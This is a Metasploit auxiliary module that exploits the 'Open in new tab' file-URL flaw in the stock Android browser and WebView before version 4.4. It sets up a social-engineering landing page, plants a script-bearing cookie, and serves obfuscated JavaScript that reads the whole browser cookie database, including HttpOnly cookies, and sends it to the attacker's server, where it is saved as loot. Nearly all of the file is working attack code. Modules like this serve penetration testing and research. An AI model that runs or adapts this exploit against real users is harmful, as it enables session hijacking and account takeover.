##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Auxiliary::Report
  include Msf::Exploit::JSObfu

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Android Browser "Open in New Tab" Cookie Theft',
        'Description' => %q{
          In Android's stock AOSP Browser application and WebView component, the
          "open in new tab" functionality allows a file URL to be opened. On
          versions of Android before 4.4, the path to the sqlite cookie
          database could be specified. By saving a cookie containing a <script>
          tag and then loading the sqlite database into the browser as an HTML file,
          XSS can be achieved inside the cookie file, disclosing *all* cookies
          (HttpOnly or not) to an attacker.
        },
        'Author' => [
          'Rafay Baloch', # Discovery of "Open in new tab" bug
          'joev'          # Cookie theft vector, msf module
        ],
        'License' => MSF_LICENSE,
        'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]],
        'PassiveActions' => [ 'WebServer' ],
        'References' => [
          # the patch, released against 4.3 AOSP in February 2014
          ['URL', 'https://android.googlesource.com/platform/packages/apps/Browser/+/d2391b492dec778452238bc6d9d549d56d41c107%5E%21/#F0'],
          ['URL', 'http://www.rafayhackingarticles.net/2014/12/android-browser-cross-scheme-data.html']
        ],
        'DefaultAction' => 'WebServer',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([
      OptString.new('COOKIE_FILE', [
        true,
        'The cookie file (on older 2.x devices this is "webview.db")',
        'webviewCookiesChromium.db'
      ])
    ])
  end

  def on_request_uri(cli, request)
    if request.method =~ /POST/i
      print_status("Processing exfilrated files...")
      process_post(cli, request)
      send_response_html(cli, '')
    elsif request.uri =~ /\.js$/i
      print_status("Sending exploit javascript")
      send_response(cli, exfiltration_js, 'Content-type' => 'text/javascript')
    else
      print_status("Sending exploit landing page...")
      send_response_html(cli, landing_page_html)
    end
  end

  def process_post(cli, request)
    data = hex2bin(request.body)
    print_good "Cookies received: #{request.body.length.to_f / 1024}kb"
    loot_path = store_loot(
      "android.browser.cookies",
      'application/x-sqlite3',
      cli.peerhost,
      data,
      'cookies.sqlite',
      "#{cli.peerhost.ljust(16)} Android browser cookie database"
    )
    print_good "SQLite cookie database saved to:\n#{loot_path}"
  end

  def run
    exploit
  end

  def landing_page_html
    %Q|
    <!doctype html>
      <html>
        <head><meta name="viewport" content="width=device-width, user-scalable=no" /></head>
        <body style='width:100%;font-size: 16px;'>
          <a href='file://#{cookie_path(datastore['COOKIE_FILE'])}##{Rex::Text.encode_base64(exfiltration_js)}'>
            Redirecting... To continue, tap and hold here, then choose "Open in a new tab"
          </a>
          <script>
            #{inline_script}
          </script>
        </body>
      </html>
    |
  end

  def exfiltration_js
    js_obfuscate %Q|
        var x = new XMLHttpRequest();
        x.open('GET', '');
        x.responseType = 'arraybuffer';
        x.onreadystatechange = function(){
          if (x.readyState == 4) {
            var buff = new Uint8Array(x.response);
            var hex = Array.prototype.map.call(buff, function(d){
              var c = d.toString(16);
              return (c.length < 2) ? '0'+c : c;
            }).join('');
            var x2 = new XMLHttpRequest();
            x2.open('POST', '#{get_uri}/');
            x2.setRequestHeader('Content-type', 'text/plain');
            x2.send(hex);
          }
        };
        x.send();

      |
  end

  def inline_script
    %Q|
      document.cookie='#{per_run_token}=<script>eval(atob(location.hash.slice(1)))<\\/script>';
    |
  end

  def cookie_path(file = '')
    '/data/data/com.android.browser/databases/' + file
  end

  # TODO: Make this a proper Rex::Text function
  def hex2bin(hex)
    hex.chars.each_slice(2).map(&:join).map { |c| c.to_i(16) }.map(&:chr).join
  end

  def per_run_token
    @token ||= Rex::Text.rand_text_alpha(rand(2) + 1)
  end
end
